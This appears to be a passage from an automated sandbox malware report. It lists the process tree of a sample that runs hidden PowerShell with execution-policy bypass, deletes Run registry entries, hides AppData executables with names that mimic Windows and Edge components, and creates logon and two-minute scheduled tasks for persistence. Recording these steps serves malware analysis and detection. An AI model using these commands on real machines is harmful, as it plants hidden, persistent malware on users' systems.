C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "jusched" /f 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v jusched /f 2>nul"3⤵
-
C:\Windows\system32\reg.exereg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v jusched /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "jucheck" /f 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v jucheck /f 2>nul"3⤵
-
C:\Windows\system32\reg.exereg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v jucheck /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "jucheck" /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v jucheck /f 2>nul"3⤵
-
C:\Windows\system32\reg.exereg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v jucheck /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "svchost" /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v svchost /f 2>nul"3⤵
-
C:\Windows\system32\reg.exereg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v svchost /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "svchost" /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v svchost /f 2>nul"3⤵
-
C:\Windows\system32\reg.exereg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v svchost /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SearchProtocolHost" /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v SearchProtocolHost /f 2>nul"3⤵
-
C:\Windows\system32\reg.exereg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v SearchProtocolHost /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SearchProtocolHost" /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SearchProtocolHost /f 2>nul"3⤵
-
C:\Windows\system32\reg.exereg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SearchProtocolHost /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "RuntimeBroker" /f 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v RuntimeBroker /f 2>nul"3⤵
-
C:\Windows\system32\reg.exereg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v RuntimeBroker /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "RuntimeBroker" /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v RuntimeBroker /f 2>nul"3⤵
-
C:\Windows\system32\reg.exereg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v RuntimeBroker /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoP -NonInteractive -W Hidden -Command [System.Environment]::OSVersion.Version.ToString()2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SecurityHealthSvc" /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v SecurityHealthSvc /f 2>nul"3⤵
-
C:\Windows\system32\reg.exereg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v SecurityHealthSvc /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealthSvc" /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealthSvc /f 2>nul"3⤵
-
C:\Windows\system32\reg.exereg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealthSvc /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "WinUpdateAgent" /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WinUpdateAgent /f 2>nul"3⤵
-
C:\Windows\system32\reg.exereg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WinUpdateAgent /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinUpdateAgent" /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinUpdateAgent /f 2>nul"3⤵
-
C:\Windows\system32\reg.exereg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinUpdateAgent /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "WLANAutoConfig" /f 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WLANAutoConfig /f 2>nul"3⤵
-
C:\Windows\system32\reg.exereg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WLANAutoConfig /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WLANAutoConfig" /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WLANAutoConfig /f 2>nul"3⤵
-
C:\Windows\system32\reg.exereg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WLANAutoConfig /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeUpdate" /f 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v MsEdgeUpdate /f 2>nul"3⤵
-
C:\Windows\system32\reg.exereg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v MsEdgeUpdate /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MsEdgeUpdate" /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MsEdgeUpdate /f 2>nul"3⤵
-
C:\Windows\system32\reg.exereg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MsEdgeUpdate /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /tr ""C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn MicrosoftEdgeAutoUpdateTask /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe /sc ONLOGON /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn MicrosoftEdgeAutoUpdateTask /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe /sc ONLOGON /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "MicrosoftEdgeAutoUpdateTask_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn MicrosoftEdgeAutoUpdateTask_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn MicrosoftEdgeAutoUpdateTask_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate" 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "WindowsUpdateAgent" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn WindowsUpdateAgent /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe /sc ONLOGON /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn WindowsUpdateAgent /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe /sc ONLOGON /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "WindowsUpdateAgent_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn WindowsUpdateAgent_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn WindowsUpdateAgent_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\SearchFilter" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SearchFilter 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SearchFilter4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SearchFilterSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SearchFilterSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe /sc ONLOGON /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn SearchFilterSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe /sc ONLOGON /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SearchFilterSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SearchFilterSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn SearchFilterSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config" 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "WindowsMediaCfg" /tr ""C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn WindowsMediaCfg /tr "C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe /sc ONLOGON /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn WindowsMediaCfg /tr "C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe /sc ONLOGON /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "WindowsMediaCfg_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn WindowsMediaCfg_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn WindowsMediaCfg_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe" 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "RuntimeBrokerSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn RuntimeBrokerSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe /sc ONLOGON /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn RuntimeBrokerSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe /sc ONLOGON /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "RuntimeBrokerSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn RuntimeBrokerSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn RuntimeBrokerSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service" 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe4⤵
- Views/modifies file attributes
-
-
-
-
